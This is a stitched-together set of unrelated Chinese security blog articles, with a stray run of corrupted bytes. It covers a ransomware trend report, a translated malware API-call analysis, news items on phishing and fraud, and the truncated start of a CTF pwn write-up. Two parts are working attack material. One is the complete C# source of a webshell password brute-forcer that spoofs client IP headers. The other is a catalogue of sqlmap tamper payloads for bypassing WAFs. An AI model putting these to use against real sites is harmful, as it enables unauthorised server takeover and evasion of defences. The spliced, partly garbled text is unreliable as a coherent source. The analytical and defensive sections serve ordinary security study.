### 1\. 攻击者家族
GlobeImposter,Crysis,BTCWare三款勒索病毒，是近来针对服务器攻击的主流，占比超过90%。这三款勒索病毒，都属于全球爆发类的勒索病毒，其中GlobeImposter更是多次攻击国内医疗和公共服务机构，国内外安全机构多次发布过该家族的预警。
### 2\. 使用工具情况
通过分析用户端被攻击情况，我们发现攻击者使用工具主要有一下几类：
1\. 第一类，扫描爆破工具，此类工具配合“密码字典”对主机实施第一波嗅探打击，使用弱口令的机器很容易在这波扫描中被拿下！
2\. 第二类是各类密码嗅探工具，在完成第一波打击之后，对局域网进行渗透时使用的。这也是经常出现一个集群，多台主机同时中招的原因。
3\.
第三类常用工具是进程管理类工具。攻击者一般在投毒时，通过这些工具结束安全防护软件进程和一些备份程序，数据库服务等，方便木马的投放与效果发挥。针对此类工具，我们也做了相应防护。
4\. 第四类工具是长期驻留工具，常见的有远控和后门程序，通过这类工具实现多主机的长期控制，一般会在渗透阶段使用。
通过经常被使用到的工具也可以看出， **存在弱口令和严重系统漏洞或软件漏洞的机器，最容易成为攻击目标！**
攻击者通过这些工具的组合使用，对安全防护薄弱的这类服务器实施打击，并进行渗透和长期驻留，这对于服务器集群来说也是比较致命的，一台存在漏洞的主机，就可能造成整个集群的沦陷。
从被攻击时间角度看，攻击多发生在晚上19点到次日7点这段时间，占比达到62%，而这段时间在国内一般都是非工作时段。管理员经常是在第二天早上来上班时才发现服务器出现故障。
从留下的勒索信息的联系邮箱统计中，我们发现，较常使用的有qq.com的邮箱和匿名邮箱cock.li，通过我们与攻击者的联系发现，使用邮箱和我们交流的攻击者大多使用了代理工具来访问邮箱，ip地址遍布世界各地，攻击者自身的防范意识较强。沟通使用的语言以英文为主，也有使用俄语等其它语种的联系人。
##
攻击手法与防护方案
### 弱口令爆破防护
针对这类最常见的攻击方式，我们增加了远程登录保护，对发现的可疑登录行为进行拦截，以提高这类攻击的门槛。同时防黑加固也会对使用弱口令的机器进行提示，提醒管理员尽快修改密码。
防黑加固被弱口令攻击的提醒：
###
漏洞防护
通过系统或者软件漏洞，对服务器进行攻击，是仅次于RDP爆破的常见攻击方式，针对此类攻击我们提供了漏洞修复，热补丁，漏洞防护三个维度的防护。当然最稳妥的方式还是安装系统补丁，修复漏洞。但对于一些无法安装补丁，或者没有补丁的机器，我们热补丁技术与漏洞防护技术，可以保护机器免收漏洞攻击的影响，最大限度保护服务器安全。
### 解密工具
针对市面上出现的勒索病毒，我们都做了分析研究。对于其中可以解密的部分，我们制作了一键解密工具。360“解密大师”目前已成为全球最大最有效的勒索病毒恢复工具，可破解勒索病毒达百余种。我们也会继续跟进勒索病毒发展趋势，继续不断补充完善这一工具。
### 反勒索服务
我们从2016年开始，推出了反勒索服务，旨在帮助已经中招的用户，协助解决勒索病毒的后续问题。通过反勒索服务，我们协助用户解密文件，帮助用户查找中招原因，排查机器中存在的安全隐患，提供安全建议，到目前已经服务数千位用户。对之前联系过我们的中招用户，在解密工具发布后，我们也会推送消息给用户协助解密。
## 总结
根据我们对目前情况的分析，勒索病毒在今后一段时间，仍将是企业和个人面临的最严重的一类安全问题。通过积极的防护措施，可以极大地避免勒索病毒带来的风险，而事后补救措施往往代价高昂。针对windows服务器，我们给出以下安全建议：
1\. 遵守安全规范，避免使用简单口令，建议打开组策略中的密码策略，强制要求使用足够复杂度的口令，同时定期更换口令。
2\. 及时更新系统和使用的软件，尤其是有安全补丁放出时，更需要及时安装更新。
3\. 做好权限控制，关闭不必要的服务与端口。对于非对外提供的服务，避免暴露于公网上，控制机器间的访问权限。
4\. 对重要数据定期备份，可以选择离线备份。
5\. 安装专业的安全防护软件，保护系统安全。 | 社区文章 |
# 【技术分享】基于API调用的恶意软件分析技术
|
##### 译文声明
本文是翻译文章，文章来源：blog.malwarebytes.com
原文地址：<https://blog.malwarebytes.com/threat-analysis/2017/10/analyzing-malware-by-api-calls/>
译文仅供参考，具体内容表达以及含义原文为准。
****
****
译者：[shan66](http://bobao.360.cn/member/contribute?uid=2522399780)
预估稿费：170RMB
投稿方式：发送邮件至linwei#360.cn，或登陆网页版在线投稿
**基于API的分析技术**
根据上一个季度的统计数据发现，使用[
**加壳器、加密器和保护器**](https://blog.malwarebytes.com/cybercrime/malware/2017/03/explained-packer-crypter-and-protector/)（这些都是用于对恶意软件进行混淆处理，以防止被系统或安全软件识别出来的方法）的恶意软件的数量正在日益增加。这些加壳器极大的提高了进行静态分析的难度，甚至有些时候根本就无法对其进行静态分析。随着越来多的恶意软越件作者开始采用这些保护性措施，安全分析人员对于恶意软件分析替代技术的兴趣也越来越浓。
其中一种可行的替代方法就是，对代码中通知系统执行某些操作的API调用或命令进行安全检测。这种方法的好处是，不必对经过加壳处理的软件进行逆向分析，相反，我们可以通过对API调用进行动态分析，从而弄清楚某个文件的具体行为。通过分析相应的API调用，我们可以确定文件是否是恶意的，因为对于某些类型的恶意软件来说，它们的API调用是非常有特点的。例如，典型的下载API是[URLDownloadToFile](https://msdn.microsoft.com/en-us/library/ms775123\(v=vs.85\).aspx)。而[GetWindowDC](https://msdn.microsoft.com/en-us/library/windows/desktop/dd144947\(v=vs.85\).aspx)这个API通常用于屏幕抓取，它经常出现在间谍软件和键盘记录器中。
下面，我们通过一个具体的例子来说明其工作原理。
**
**
**木马样本**
我们的示例是一个著名木马程序，名称为1.exe，其[SHA256](https://www.virustotal.com/#/file/0213b36ee85a301b88c26e180f821104d5371410ab4390803eaa39fac1553c4c/detection)为0213b36ee85a301b88c26e180f821104d5371410ab4390803eaa39fac1553c4c。
由于该文件（使用VMProtect）进行了加壳处理，所以面对这种情况，反汇编器通常也是狗咬刺猬——无处下口。由于本人并非逆向分析的专家，所以我另辟蹊径，通过查看该文件在沙箱执行期间使用的API调用来搞清楚该文件的所作所为。
这是我们通过沙箱（Deepviz）获得的调用列表：
首先，我们来看看这些函数分别是做什么的。以下内容都是引自Microsoft的相关文档：
[**GetModuleHandle函数**](https://msdn.microsoft.com/nl-nl/library/windows/desktop/ms683199\(v=vs.85\).aspx)
检索指定模块的模块句柄。被检索的模块必须是由调用进程加载的。GetModuleHandleA（ANSI）
[**GetProcAddress函数**](https://msdn.microsoft.com/nl-nl/library/windows/desktop/ms683212\(v=vs.85\).aspx)
检索从指定的动态链接库（DLL）导出的函数或变量的地址。
[**_wtoi**](https://msdn.microsoft.com/en-us/library/yd5xkb5c.aspx)
将字符串转换为整数。
[**CreateStreamOnHGlobal函数**](https://msdn.microsoft.com/nl-nl/library/windows/desktop/aa378980\(v=vs.85\).aspx)
该函数可以用来创建一个使用HGLOBAL内存句柄存储流内容的流对象。该对象是IStream接口的OLE实现。
[**StrStr函数**](https://msdn.microsoft.com/en-us/library/windows/desktop/bb773436\(v=vs.85\).aspx)
查找指定子字符串第一次出现在字符串中的位置。该函数区分大小写。StrStrA（ANSI）
[**wsprintf函数**](https://msdn.microsoft.com/en-us/library/windows/desktop/ms647550\(v=vs.85\).aspx)
将格式化数据写入指定的缓冲区。所有的参数，都会根据格式字符串中的相应的格式规范进行转换，并复制到输出缓冲区。wsprintfA（ANSI）
[**WinHttpOpen函数**](https://msdn.microsoft.com/en-us/library/windows/desktop/aa384098\(v=vs.85\).aspx)
对于应用程序来说，这个函数可以初始化WinHTTP函数并返回WinHTTP会话句柄。
[**GetModuleFileName函数**](https://msdn.microsoft.com/nl-nl/library/windows/desktop/ms683197\(v=vs.85\).aspx)
检索包含指定模块的文件的标准路径。该模块必须是由当前进程加载的。GetModuleFileNameW（Unicode）
[**LoadLibrary函数**](https://msdn.microsoft.com/nl-nl/library/windows/desktop/ms684175\(v=vs.85\).aspx)
将指定的模块加载到调用进程的地址空间中。这个指定的模块可能会导致其他模块被加载。LoadLibraryA（ANSI）
[**LocalAlloc函数**](https://msdn.microsoft.com/nl-nl/library/windows/desktop/aa366723\(v=vs.85\).aspx)
从堆中分配指定的字节数。
[**LocalFree函数**](https://msdn.microsoft.com/nl-nl/library/windows/desktop/aa366730\(v=vs.85\).aspx)
释放指定的本地内存对象并使其句柄无效。
[**GetModuleFileName函数**](https://msdn.microsoft.com/nl-nl/library/windows/desktop/ms683197\(v=vs.85\).aspx)
检索包含指定模块的文件的标准路径。该模块必须是由当前进程加载的。GetModuleFileNameA（ANSI）
[**ExitProcess函数**](https://msdn.microsoft.com/nl-nl/library/windows/desktop/ms682658\(v=vs.85\).aspx)
结束调用进程及其所有线程。
**
**
**关键恶意指标**
并不是上面显示的所有函数都能表明可执行文件的性质。但是API WinHttpOpen却能告诉我们，我们可以向特定的方面考虑。
对于这个函数，我们使用Kahu Security的[URL
Revealer](http://www.kahusecurity.com/tag/urlrevealer/)来检查流量的目的地，并发现两个经常出现的URL。
GET http://twitter.com/pidoras6
POST http://www.virustotal.com/vtapi/v2/file/scan
这个POST是当您要提交扫描文件时，[VirusTotal
API](https://www.virustotal.com/nl/documentation/public-api/)接受的内容。
这个指向被废弃的Twitter句柄的链接让人非常迷惑，我决定在Twitter中使用高级搜索，确定这是个早已被删除的Tweet的链接。
这个Tweet的[内容](https://web.archive.org/web/20150104200316/http:/w0rm.in:80/join/)是一个base64编码的链接：https://w0rm.in/join/join.php。不幸的是，该网站已经无法解析，但它曾经是一个地下黑市，同时提供网站exploit与黑客服务，上面提到的Twitter个人资料在当时还未被删。
看来上面这条路是走不通了。因此，我们尝试了另一种方法，弄清楚它想要在VirusTotal上扫描的东西，并使用Wireshark来检测数据包。
在数据包中，您可以看到用于在VirusTotal站点扫描文件的API
key和文件名。根据这个API调用和数据包进行重建后，我们发现恶意软件将其自身的副本提交给VirusTotal，这是Vflooder系列木马的典型行为。Vflooder是一种特殊的Flooder木马程序。Flooder木马旨在向特定目标发送大量信息，以破坏目标的正常运行。但是，我怀疑它甚至用于对VirusTotal发动攻击。或者与Twitter上的那个链接有关。
Vflooder木马只是分析API调用的一个简单的小例子。但是事情并非总是这么轻松：我们甚至看到某些恶意软件已经开始故意增加冗余/无用的API调用了，目的就是为了对执行流程进行[混淆处理](https://blog.malwarebytes.com/threat-analysis/2016/11/floki-bot-and-the-stealthy-dropper/)。不过，分析API调用确实是一种检测恶意软件隐藏自身行为的有效方法。但是别忘了，攻击者对这些也是心知肚明的。 | 社区文章 |
所以想来先知社区和大家共同讨论 共同提高 以后我会继续秉承共享 免费的精神与大家共同学习
下面附上主要源码以及完整项目文件 代码渣 大牛勿喷 多多指点小弟
using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Drawing;
using System.IO;
using System.Net;
using System.Text;
using System.Text.RegularExpressions;
using System.Windows.Forms;
namespace ShellBrute7kb
{
public partial class Form1 : Form
{
public Form1()
{
InitializeComponent();
}
//echo (key($_POST));
string aaa = "";
bool checkok = true;
private void buttonGo_Click(object sender, EventArgs e)
{
textBoxRes.Clear(); aaa = ""; checkok = true;
if (Uri.IsWellFormedUriString(textBoxUrl.Text.Trim(), UriKind.Absolute))
{
string[] pwd = ReadPwdFile.ReadFile();
#region 字典拼接
int fenzucount = Convert.ToInt16(textBoxfenzuCount.Text);
int shang = pwd.Length / fenzucount;
int yu = pwd.Length % fenzucount;
textBoxRes.Text = "开始测试 密码分为"+(shang+1).ToString()+"组 每组"+textBoxfenzuCount.Text+"个\r\n";
for (int i = 0; i < shang; i++)
{
for (int a = i *fenzucount; a < i *fenzucount + fenzucount; a++)
{
if (radioButtonPhp.Checked)
{
aaa = aaa + "&" + pwd[a] + "=echo '7kbscan|" + pwd[a] + "|';";
}
if (radioButtonAsp.Checked)
{
aaa = aaa + "&" + pwd[a] + "=Response.Write(\"7kbscan|" + pwd[a] + "|\")";
}
if (radioButtonAspx.Checked)
{
aaa = aaa + "&" + pwd[a] + "=Response.Write(\"7kbscan|" + pwd[a] + "|\");";
}
}
textBoxRes.Text = textBoxRes.Text + "开始第" + i + "组密码测试\r\n";
string res= StartBrute(aaa);
if (res != null)
{
textBoxRes.Text = textBoxRes.Text + "密码为" + res.Replace("7kbscan|","").Replace("|","");
checkok = false;
break;
}
}
if (yu!=0&&checkok)
{
for (int i = shang * fenzucount; i < pwd.Length; i++)
{
if (radioButtonPhp.Checked)
{
aaa = aaa + "&" + pwd[i] + "=echo '7kbscan|" + pwd[i] + "|';";
}
if (radioButtonAsp.Checked)
{
aaa = aaa + "&" + pwd[i] + "=Response.Write(\"7kbscan|" + pwd[i] + "|\")";
}
if (radioButtonAspx.Checked)
{
aaa = aaa + "&" + pwd[i] + "=Response.Write(\"7kbscan|" + pwd[i] + "|\");";
}
}
textBoxRes.Text = textBoxRes.Text + "开始最后一组密码测试\r\n";
string res = StartBrute(aaa);
if (res != null)
{
textBoxRes.Text = textBoxRes.Text + "密码为" + res.Replace("7kbscan|", "").Replace("|", "");
checkok = false;
}
}
#endregion
}
else
{
MessageBox.Show("URL不正确");
}
if (checkok)
{
textBoxRes.Text = textBoxRes.Text + "测试结束 没有发现密码";
}
}
public string StartBrute(object par)
{
try
{
string content = GetContent(textBoxUrl.Text.Trim(), par.ToString().Substring(1));
if (content.IndexOf("7kbscan") != -1)
{
Regex RegexGetPwd = new Regex("7kbscan|(.+?)|");
string ssad = RegexGetPwd.Match(content).ToString();
return RegexGetPwd.Match(content).ToString();
}
aaa = "";
return null;
}
catch (Exception ex)
{
return null;
}
}
public string GetContent(string url, string par)
{
try
{
Random random = new Random();
string XForwardedForAndXReadIP = random.Next(1, 255) + "." + random.Next(1, 255) + "." + random.Next(1, 255) + "." + random.Next(1, 255);
HttpWebRequest MyHttpRequest = (HttpWebRequest)WebRequest.Create(url);
MyHttpRequest.Method = "POST";
MyHttpRequest.Referer = url;
MyHttpRequest.Accept = "text/html, application/xhtml+xml, image/jxr, /";
MyHttpRequest.Headers.Add("Accept-Language", "en-US, en; q=0.8, zh-Hans-CN; q=0.5, zh-Hans; q=0.3");
MyHttpRequest.KeepAlive = true;
MyHttpRequest.Timeout = Convert.ToInt32(textBoxTimeOut.Text.Trim());
MyHttpRequest.ContentType = "application/x-www-form-urlencoded";
MyHttpRequest.Headers.Add("X-Forwarded-For", XForwardedForAndXReadIP);
MyHttpRequest.Headers.Add("X-Read-IP", XForwardedForAndXReadIP);
MyHttpRequest.UserAgent = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.135 Safari/537.36 Edge/12.10240";
byte[] data = Encoding.ASCII.GetBytes(par);
MyHttpRequest.ContentLength = data.Length;
using (Stream reqStream = MyHttpRequest.GetRequestStream())
{
reqStream.Write(data, 0, data.Length);
}
HttpWebResponse MyHttpResult = (HttpWebResponse)MyHttpRequest.GetResponse();
Stream ReceviceStream = MyHttpResult.GetResponseStream();
using (StreamReader ReaderOfStream = new StreamReader(ReceviceStream, System.Text.Encoding.GetEncoding("utf-8")))
{
return ReaderOfStream.ReadToEnd();
}
}
catch (Exception ex)
{
// MessageBox.Show(ex.Message);
textBoxRes.Text = textBoxRes.Text + ex.Message+"\r\n";
return null;
}
}
private void buttonClear_Click(object sender, EventArgs e)
{
textBoxUrl.Text = "";
textBoxRes.Text = "";
}
}
}
完整项目下载地址 | 社区文章 |
sqlmap在默认的的情况下除了使用char()函数防止出现单引号，没有对注入的数据进行修改，还可以使用--tamper参数对数据做修改来绕过waf等设备。
### 0x01 命令如下
sqlmap -u [url] --tamper [模块名]
sqlmap的绕过脚本在目录`usr/share/golismero/tools/sqlmap/tamper`下
目前sqlmap 1.2.9版本共有37个
可以使用`--identify-waf`对一些网站是否有安全防护进行试探
### 0x02 常用tamper脚本
#### **apostrophemask.py**
适用数据库：ALL
作用：将引号替换为utf-8，用于过滤单引号
使用脚本前：`tamper("1 AND '1'='1")`
使用脚本后：`1 AND %EF%BC%871%EF%BC%87=%EF%BC%871`
#### **base64encode.py**
适用数据库：ALL
作用：替换为base64编码
使用脚本前：`tamper("1' AND SLEEP(5)#")`
使用脚本后：`MScgQU5EIFNMRUVQKDUpIw==`
#### **multiplespaces.py**
适用数据库：ALL
作用：围绕sql关键字添加多个空格
使用脚本前：`tamper('1 UNION SELECT foobar')`
使用脚本后：`1 UNION SELECT foobar`
#### **space2plus.py**
适用数据库：ALL
作用：用加号替换空格
使用脚本前：`tamper('SELECT id FROM users')`
使用脚本后：`SELECT+id+FROM+users`
#### **nonrecursivereplacement.py**
适用数据库：ALL
作用：作为双重查询语句，用双重语句替代预定义的sql关键字（适用于非常弱的自定义过滤器，例如将select替换为空）
使用脚本前：`tamper('1 UNION SELECT 2--')`
使用脚本后：`1 UNIOUNIONN SELESELECTCT 2--`
#### **space2randomblank.py**
适用数据库：ALL
作用：将空格替换为其他有效字符
使用脚本前：`tamper('SELECT id FROM users')`
使用脚本后：`SELECT%0Did%0DFROM%0Ausers`
#### **unionalltounion.py**
适用数据库：ALL
作用：将`union allselect` 替换为`unionselect`
使用脚本前：`tamper('-1 UNION ALL SELECT')`
使用脚本后：`-1 UNION SELECT`
#### **securesphere.py**
适用数据库：ALL
作用：追加特定的字符串
使用脚本前：`tamper('1 AND 1=1')`
使用脚本后：`1 AND 1=1 and '0having'='0having'`
#### **space2dash.py**
适用数据库：ALL
作用：将空格替换为`--`，并添加一个随机字符串和换行符
使用脚本前：`tamper('1 AND 9227=9227')`
使用脚本后：`1--nVNaVoPYeva%0AAND--ngNvzqu%0A9227=9227`
#### **space2mssqlblank.py**
适用数据库：Microsoft SQL Server
测试通过数据库：Microsoft SQL Server 2000、Microsoft SQL Server 2005
作用：将空格随机替换为其他空格符号`('%01', '%02', '%03', '%04', '%05', '%06', '%07', '%08',
'%09', '%0B', '%0C', '%0D', '%0E', '%0F', '%0A')`
使用脚本前：`tamper('SELECT id FROM users')`
使用脚本后：`SELECT%0Eid%0DFROM%07users`
#### **between.py**
测试通过数据库：Microsoft SQL Server 2005、MySQL 4, 5.0 and 5.5、Oracle 10g、PostgreSQL
8.3, 8.4, 9.0
作用：用`NOT BETWEEN 0 AND #`替换`>`
使用脚本前：`tamper('1 AND A > B--')`
使用脚本后：`1 AND A NOT BETWEEN 0 AND B--`
#### **percentage.py**
适用数据库：ASP
测试通过数据库：Microsoft SQL Server 2000, 2005、MySQL 5.1.56, 5.5.11、PostgreSQL 9.0
作用：在每个字符前添加一个`%`
使用脚本前：`tamper('SELECT FIELD FROM TABLE')`
使用脚本后：`%S%E%L%E%C%T %F%I%E%L%D %F%R%O%M %T%A%B%L%E`
#### **sp_password.py**
适用数据库：MSSQL
作用：从T-SQL日志的自动迷糊处理的有效载荷中追加sp_password
使用脚本前：`tamper('1 AND 9227=9227-- ')`
使用脚本后：`1 AND 9227=9227-- sp_password`
#### **charencode.py**
测试通过数据库：Microsoft SQL Server 2005、MySQL 4, 5.0 and 5.5、Oracle 10g、PostgreSQL
8.3, 8.4, 9.0
作用：对给定的payload全部字符使用url编码（不处理已经编码的字符）
使用脚本前：`tamper('SELECT FIELD FROM%20TABLE')`
使用脚本后：`%53%45%4C%45%43%54%20%46%49%45%4C%44%20%46%52%4F%4D%20%54%41%42%4C%45`
#### **randomcase.py**
测试通过数据库：Microsoft SQL Server 2005、MySQL 4, 5.0 and 5.5、Oracle 10g、PostgreSQL
8.3, 8.4, 9.0
作用：随机大小写
使用脚本前：`tamper('INSERT')`
使用脚本后：`INseRt`
#### **charunicodeencode.py**
适用数据库：ASP、ASP.NET
测试通过数据库：Microsoft SQL Server 2000/2005、MySQL 5.1.56、PostgreSQL 9.0.3
作用：适用字符串的unicode编码
使用脚本前：`tamper('SELECT FIELD%20FROM TABLE')`
使用脚本后：`%u0053%u0045%u004C%u0045%u0043%u0054%u0020%u0046%u0049%u0045%u004C%u0044%u0020%u0046%u0052%u004F%u004D%u0020%u0054%u0041%u0042%u004C%u0045`
#### **space2comment.py**
测试通过数据库：Microsoft SQL Server 2005、MySQL 4, 5.0 and 5.5、Oracle 10g、PostgreSQL
8.3, 8.4, 9.0
作用：将空格替换为`/**/`
使用脚本前：`tamper('SELECT id FROM users')`
使用脚本后：`SELECT/**/id/**/FROM/**/users`
#### **equaltolike.py**
测试通过数据库：Microsoft SQL Server 2005、MySQL 4, 5.0 and 5.5
作用：将`=`替换为`LIKE`
使用脚本前：`tamper('SELECT * FROM users WHERE id=1')`
使用脚本后：`SELECT * FROM users WHERE id LIKE 1`
#### **equaltolike.py**
测试通过数据库：MySQL 4, 5.0 and 5.5、Oracle 10g、PostgreSQL 8.3, 8.4, 9.0
作用：将`>`替换为GREATEST，绕过对`>`的过滤
使用脚本前：`tamper('1 AND A > B')`
使用脚本后：`1 AND GREATEST(A,B+1)=A`
#### **ifnull2ifisnull.py**
适用数据库：MySQL、SQLite (possibly)、SAP MaxDB (possibly)
测试通过数据库：MySQL 5.0 and 5.5
作用：将类似于`IFNULL(A, B)`替换为`IF(ISNULL(A), B, A)`，绕过对`IFNULL`的过滤
使用脚本前：`tamper('IFNULL(1, 2)')`
使用脚本后：`IF(ISNULL(1),2,1)`
#### **modsecurityversioned.py**
适用数据库：MySQL
测试通过数据库：MySQL 5.0
作用：过滤空格，使用mysql内联注释的方式进行注入
使用脚本前：`tamper('1 AND 2>1--')`
使用脚本后：`1 /*!30874AND 2>1*/--`
#### **space2mysqlblank.py**
适用数据库：MySQL
测试通过数据库：MySQL 5.1
作用：将空格替换为其他空格符号`('%09', '%0A', '%0C', '%0D', '%0B')`
使用脚本前：`tamper('SELECT id FROM users')`
使用脚本后：`SELECT%0Bid%0DFROM%0Cusers`
#### **modsecurityzeroversioned.py**
适用数据库：MySQL
测试通过数据库：MySQL 5.0
作用：使用内联注释方式`（/*!00000*/）`进行注入
使用脚本前：`tamper('1 AND 2>1--')`
使用脚本后：`1 /*!00000AND 2>1*/--`
#### **space2mysqldash.py**
适用数据库：MySQL、MSSQL
作用：将空格替换为 `--` ，并追随一个换行符
使用脚本前：`tamper('1 AND 9227=9227')`
使用脚本后：`1--%0AAND--%0A9227=9227`
#### **bluecoat.py**
适用数据库：Blue Coat SGOS
测试通过数据库：MySQL 5.1,、SGOS
作用：在sql语句之后用有效的随机空白字符替换空格符，随后用`LIKE`替换`=`
使用脚本前：`tamper('SELECT id FROM users where id = 1')`
使用脚本后：`SELECT%09id FROM users where id LIKE 1`
#### **versionedkeywords.py**
适用数据库：MySQL
测试通过数据库：MySQL 4.0.18, 5.1.56, 5.5.11
作用：注释绕过
使用脚本前：`tamper('1 UNION ALL SELECT NULL, NULL,
CONCAT(CHAR(58,104,116,116,58),IFNULL(CAST(CURRENT_USER() AS
CHAR),CHAR(32)),CHAR(58,100,114,117,58))#')`
使用脚本后：`1/*!UNION*//*!ALL*//*!SELECT*//*!NULL*/,/*!NULL*/,
CONCAT(CHAR(58,104,116,116,58),IFNULL(CAST(CURRENT_USER()/*!AS*//*!CHAR*/),CHAR(32)),CHAR(58,100,114,117,58))#`
#### **halfversionedmorekeywords.py**
适用数据库：MySQL < 5.1
测试通过数据库：MySQL 4.0.18/5.0.22
作用：在每个关键字前添加mysql版本注释
使用脚本前：`tamper("value' UNION ALL SELECT
CONCAT(CHAR(58,107,112,113,58),IFNULL(CAST(CURRENT_USER() AS
CHAR),CHAR(32)),CHAR(58,97,110,121,58)), NULL, NULL# AND 'QDWa'='QDWa")`
使用脚本后：`value'/*!0UNION/*!0ALL/*!0SELECT/*!0CONCAT(/*!0CHAR(58,107,112,113,58),/*!0IFNULL(CAST(/*!0CURRENT_USER()/*!0AS/*!0CHAR),/*!0CHAR(32)),/*!0CHAR(58,97,110,121,58)),/*!0NULL,/*!0NULL#/*!0AND
'QDWa'='QDWa`
#### **space2morehash.py**
适用数据库：MySQL >= 5.1.13
测试通过数据库：MySQL 5.1.41
作用：将空格替换为`#`，并添加一个随机字符串和换行符
使用脚本前：`tamper('1 AND 9227=9227')`
使用脚本后：`1%23ngNvzqu%0AAND%23nVNaVoPYeva%0A%23lujYFWfv%0A9227=9227`
#### **apostrophenullencode.py**
适用数据库：ALL
作用：用非法双字节Unicode字符替换单引号
使用脚本前：`tamper("1 AND '1'='1")`
使用脚本后：`1 AND %00%271%00%27=%00%271`
#### **appendnullbyte.py**
适用数据库：ALL
作用：在有效载荷的结束位置加载null字节字符编码
使用脚本前：`tamper('1 AND 1=1')`
使用脚本后：`1 AND 1=1%00`
#### **chardoubleencode.py**
适用数据库：ALL
作用：对给定的payload全部字符使用双重url编码（不处理已经编码的字符）
使用脚本前：`tamper('SELECT FIELD FROM%20TABLE')`
使用脚本后：`%2553%2545%254C%2545%2543%2554%2520%2546%2549%2545%254C%2544%2520%2546%2552%254F%254D%2520%2554%2541%2542%254C%2545`
#### **unmagicquotes.py**
适用数据库：ALL
作用：用一个多字节组合`%bf%27`和末尾通用注释一起替换空格
使用脚本前：`tamper("1' AND 1=1")`
使用脚本后：`1%bf%27 AND 1=1--`
#### **randomcomments.py**
适用数据库：ALL
作用：用注释符分割sql关键字
使用脚本前：`tamper('INSERT')`
使用脚本后：`I/**/N/**/SERT`
* * *
在熟悉了tamper脚本之后，我们应该学习tamper绕过脚本的编写规则，来应对复杂的实际环境。 | 社区文章 |
# 安全快讯7 | Office 365用户成为新的网络钓鱼目标
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 诈骗先知
### **微博莫名点赞色情内容，** **可账号密码明明没有被盗**
近日，有用户反馈在使用新浪微博时，发现自己的 **点赞记录里出现了很多非本人操作的异常点赞。**
点赞对象既有大V和公共机构，也有营销号，内容则涉及明星、综艺、私家侦探广告等等，甚至还包括一些露骨的淫秽色情内容。
寻迹发现，近些年有过类似遭遇的网友数不胜数，异常点赞大量集中在代购、修眉、丰胸、减肥、婚纱照等广告贴，以及关于明星的营销内容。而且，
**这些微博还有一个特点，虽然点赞数都在几千以上，但大都只有零星评论。**
据相关专家分析， **被网络劫持、被撞库可能是主要原因。**
有不法分子将自主编写的恶意程序放在运营商内部的服务器上，当用户的流量经过运营商的服务器时，该程序就自动运行，从中清洗、采集出用户
cookie（用户登录网站论坛之类的账户密码等数据记录）等关键数据。下游公司就会利用已泄露的数据操控用户账号在微博等社交平台上点赞、关注等。
近年来， **最新的刷量趋势为人工刷和机器刷相结合**
——先通过人际网络渠道搜集、雇佣或租赁大量真实账号，将这些账号与下游的刷量平台相对接，再通过刷量平台自动进行涨粉、转发、打卡以及点赞、打榜等，其实是制造虚假流量的一种常见手段。
### **预警！“外卖平台”发来诈骗短信**
近期，针对外卖平台签约商家的诈骗兴起。短时间内，已有数十名商家被骗，涉案金额高达数十万元。通过对案件过程的分析发现，诈骗手法似曾相识。
**首先，给商家发送的短信传达了3点信息：**
系统维护升级（说明事由）
限期24小时认证（告知时限）
否则将封停商户无法接单（警告后果）
**其次，短信中的钓鱼链接使用了与平台相似的域名，且页面制作非常逼真，难以辨别。**
用户填写信息等待提交时被要求填写验证码，然而即使填写了正确的二维码，页面还是会显示“认证失败”。
**其实，在等待提交的时间里，骗子已根据用户提供的身份信息进行快捷支付的注册操作，不断要求重新输入验证码只是用以在免密限额之内，进行银行卡盗刷。**
近期，此类诈骗或可频发，外卖平台商家及个人用户、外卖骑手都要警惕，不要轻易泄露自己的银行账户信息。
## 行业动态
### **多地取缔辖内网贷机构，** **风险加速出清网贷以退为主**
近日，全国各地P2P平台退出清理工作加速进行中。6月24日，青岛市地方金融监管局官网发布《青岛市P2P网络借贷风险专项整治第一批自愿退出且声明网贷业务已结清P2P网贷机构名单公告》。6月18日，江苏省地方金融监管局通报，自2016年开展互联网金融风险专项整治工作以来，截至目前，江苏216家法人P2P网贷机构已全部终止新增业务，实现了行业性的全面退出。这意味着，江苏成为国内第17个宣告全面取缔P2P的省级行政区。
**“网贷机构以退出为主，少数机构可转型为消费金融公司、网络小贷公司或为金融机构提供助贷服务及科技输出服务，但必须符合相应的资质要求或具备相应能力。”**
国家金融与发展实验室特聘研究员董希淼表示，以网络小贷公司为例，与网贷机构相比，网络小贷公司准入门槛较高，对主发起人、注册资本都有较高要求，而且主要以自有资金放贷，很少网贷机构具有这样的条件。而消费金融公司作为正规金融机构，门槛更高。
## 国际前沿
### **Office 365用户成为新的网络钓鱼目标**
专家警告说，针对Office 365用户的新的网络钓鱼活动正在蔓延。威胁参与者继续使用冠状病毒诱饵，向目标提供冠状病毒培训资源的信息。
该活动以Office 365用户为目标， **垃圾邮件中包含用于注册培训的链接：“ COVID-19员工培训：健康工作场所证书”。**
该链接将用户重定向到旨在诱骗他们提供其凭据的恶意页面。打开垃圾邮件并单击附件后，用户将被重定向到声称提供Office更新的页面，该更新实际上链接到加载Trickbot恶意软件的两个恶意URL。
CheckPoint研究人员表示，与冠状病毒相关的攻击正在减少。专家们还观察到了以重大新闻事件为诱饵的新的网络钓鱼活动，其中包括“黑住事”（BLM）运动。
���-��5 | 社区文章 |
# 2021西湖论剑pwn、re WP
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 前言
这是2021西湖论剑的部分pwn和re题目，题目有一定难度，但也有相对简单的题目，对以下几道题目进行复盘总结。
## PWN -> string_go
### 题目分析
本题模仿pythonIDE使用C++编写的一个计算器，采用ptr下标溢出导致覆盖string结构的size字段来泄露栈内地址.
保护全开，ida分析主函数如下：
int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
double v3; // xmm0_8
char v4[32]; // [rsp+10h] [rbp-80h] BYREF
char v5[32]; // [rsp+30h] [rbp-60h] BYREF
char v6[40]; // [rsp+50h] [rbp-40h] BYREF
unsigned __int64 v7; // [rsp+78h] [rbp-18h]
v7 = __readfsqword(0x28u);
menu();
while ( 1 )
{
python_input[abi:cxx11](v4, argv);
argv = (const char **)v4;
std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::basic_string(v6, v4);
calc((__int64)v6); <--------------clac ------------>
